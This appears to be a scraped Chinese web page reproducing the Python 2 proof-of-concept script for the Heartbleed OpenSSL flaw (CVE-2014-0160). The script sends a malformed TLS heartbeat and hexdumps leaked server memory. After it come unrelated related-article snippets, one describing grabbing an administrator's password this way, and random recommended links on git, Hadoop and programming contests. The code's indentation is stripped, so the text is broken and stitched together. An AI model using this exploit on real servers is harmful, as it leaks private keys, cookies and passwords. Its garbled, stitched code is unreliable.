#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)

# The author disclaims copyright to this source code.

import sys

import struct

import socket

import time

import select

import re

from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')

options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):

return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''

16 03 02 00  dc 01 00 00 d8 03 02 53

43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf

bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00

00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88

00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c

c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09

c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44

c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c

c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11

00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04

03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19

00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08

00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13

00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00

00 0f 00 01 01

''')

hb = h2bin('''

18 03 02 00 03

01 40 00

''')

def hexdump(s):

for b in xrange(0, len(s), 16):

lin = [c for c in s[b : b + 16]]

hxdat = ' '.join('%02X' % ord(c) for c in lin)

pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)

print '  %04x: %-48s %s' % (b, hxdat, pdat)

print

def recvall(s, length, timeout=5):

endtime = time.time() + timeout

rdata = ''

remain = length

while remain > 0:

rtime = endtime - time.time()

if rtime < 0:

return None

r, w, e = select.select([s], [], [], 5)

if s in r:

data = s.recv(remain)

# EOF?

if not data:

return None

rdata += data

remain -= len(data)

return rdata

def recvmsg(s):

hdr = recvall(s, 5)

if hdr is None:

print 'Unexpected EOF receiving record header - server closed connection'

return None, None, None

typ, ver, ln = struct.unpack('>BHH', hdr)

pay = recvall(s, ln, 10)

if pay is None:

print 'Unexpected EOF receiving record payload - server closed connection'

return None, None, None

print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))

return typ, ver, pay

def hit_hb(s):

s.send(hb)

while True:

typ, ver, pay = recvmsg(s)

if typ is None:

print 'No heartbeat response received, server likely not vulnerable'

return False

if typ == 24:

print 'Received heartbeat response:'

hexdump(pay)

#print pay

if len(pay) > 3:

print 'WARNING: server returned more data than it should - server is vulnerable!'

else:

print 'Server processed malformed heartbeat, but did not return any extra data.'

return True

if typ == 21:

print 'Received alert:'

hexdump(pay)

print 'Server returned error, likely not vulnerable'

return False

def main():

opts, args = options.parse_args()

if len(args) < 1:

options.print_help()

return

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print 'Connecting...'

sys.stdout.flush()

s.connect((args[0], opts.port))

print 'Sending Client Hello...'

sys.stdout.flush()

s.send(hello)

print 'Waiting for Server Hello...'

sys.stdout.flush()

while True:

typ, ver, pay = recvmsg(s)

if typ == None:

print 'Server closed connection without sending Server Hello.'

return

# Look for server hello done message.

if typ == 22 and ord(pay[0]) == 0x0E:

break

print 'Sending heartbeat request...'

sys.stdout.flush()

s.send(hb)

hit_hb(s)

if __name__ == '__main__':

main()

Heartbleed漏洞利用程序的更多相关文章

  1. heartbleed漏洞利用

    1.  heartbleed漏洞扫描: 2.  heartbleed漏洞利用: poc.py      117.52.93.111 貌似没有打到管理员账号密码,可能是管理员没登录,其实,可以写一个自动 ...

  2. OpenSSL重大漏洞-Heartbleed之漏洞利用脚本POC讲解

    OpenSSL Security Advisory [07 Apr 2014] ======================================== TLS heartbeat read ...

  3. ewebeditor编辑器ASP/ASPX/PHP/JSP版本漏洞利用总结及解决方法

    这个编辑器按脚本分主要有4个版本,ASP/ASPX/PHP/JSP 每个版本都有可以利用的漏洞.判断网站是否使用了eWebEditor查看程序源代码,看看源码中是否存在类似”ewebeditor.as ...

  4. Windows漏洞利用技术概述

    Windows漏洞利用技术总结 1. 前言 本文是我对漏洞利用技术的学习总结,也是自己践行QAD (Questions.Answer.Discussions)的一次实践.本文通过阅读几位大牛的文章.演 ...

  5. 利用NSA的MS17-010漏洞利用工具实现Win 7和Win Server 2008系统入侵

    影子经纪人(Shadow Brokers)最近陆续曝光的NSA网络武器令人震惊,尽管这些工具是否出自国家级别黑客团队之手尚不清楚,但至少存在一个可以说明问题的事实:这些漏洞利用工具都能有效运行,且具有 ...

  6. 漏洞利用 Exploit---利用默认口令、IP假冒、应用漏洞

    漏洞利用 编辑 讨论 本词条由“科普中国”科学百科词条编写与应用工作项目 审核 . 漏洞利用(英语:Exploit,本意为“利用”)是计算机安全术语,指的是利用程序中的某些漏洞,来得到计算机的控制权( ...

  7. Linux64位程序中的漏洞利用

    之前在栈溢出漏洞的利用和缓解中介绍了栈溢出漏洞和一些常见的漏洞缓解 技术的原理和绕过方法, 不过当时主要针对32位程序(ELF32). 秉承着能用就不改的态度, IPv4还依然是互联网的主导, 更何况 ...

  8. 这次OpenSSL HeartBleed漏洞是怎么一回事呢?

    “心脏出血”(Heartbleed)被称为互联网史上最严重的安全漏洞之一,波及了大量常用网站.服务,包括很多人每天都在用的 Gmail 等等,可能导致用户的密码.信用卡轻易泄露.但是我们可能对它还不是 ...

  9. Linux环境下常见漏洞利用技术(培训ppt+实例+exp)

    记得以前在drops写过一篇文章叫 linux常见漏洞利用技术实践 ,现在还可以找得到(https://woo.49.gs/static/drops/binary-6521.html), 不过当时开始 ...

随机推荐

  1. Execute a terminal command from a Cocoa app

    http://stackoverflow.com/questions/412562/execute-a-terminal-command-from-a-cocoa-app in the spirit ...

  2. Hadoop简单源码样例

    1.WordCount策略比较简单 import java.io.IOException; import java.util.StringTokenizer; import org.apache.ha ...

  3. git放弃本地commit,未push

    如果不小心commit了一个不应该commit的修改,但是还没有push,想撤销那个commit. 步骤: a) git log:获取commit id: b) git reset --hard co ...

  4. [ Mariadb ] 记录一次MySQL数据库时区的问题

    操作系统:Centos 7数据库:5.5.52-MariaDB 根本问题:由于系统时区不对,造成数据库的时区和数据的时间不正确. 处理办法: # 查看系统时区, [root@mongodb ~]# t ...

  5. nginx部署vue工程和反向代理nodejs工程

    前端是vue,后端是nodejs 前端打包成dist目录,后端接口是localhost:4000/api server { listen 80; #listen [::]:80; server_nam ...

  6. Java关于时间日期的Date类和Calendar类概述

    1.      System.currentTimeMillis()方法 可以获取当前时间距离1970年01月01日00时00分00秒的秒数,如果程序运行在北京时区,则获取的数据是当前时间距离1970 ...

  7. qt资源下载网站

    1. 所有Qt版本下载地址: http://download.qt.io/archive/qt/ 2. 所有Qt Creator下载地址: http://download.qt.io/archive/ ...

  8. HDU 3045 Picnic Cows

    $dp$,斜率优化. 设$dp[i]$表示$1$至$i$位置的最小费用,则$dp[i]=min(dp[j]+s[i]-s[j]-(i-j)*x[j+1])$,$dp[n]$为答案. 然后斜率优化就可以 ...

  9. java中的控制语句

    控制语句 1.1 顺序结构 (最常见的) 特点:代码从上往下依次执行 1.2 选择结构 : if 判断语句 : switch 判断语句: Switch语句使用的注意事项: 1.每一个语句结束后需要有一 ...

  10. ZOJ 3949 Edge to the Root(树形DP)

    [题目链接] http://acm.zju.edu.cn/onlinejudge/showProblem.do?problemCode=3949 [题目大意] 给出一棵根为1的树,每条边边长为1,请你 ...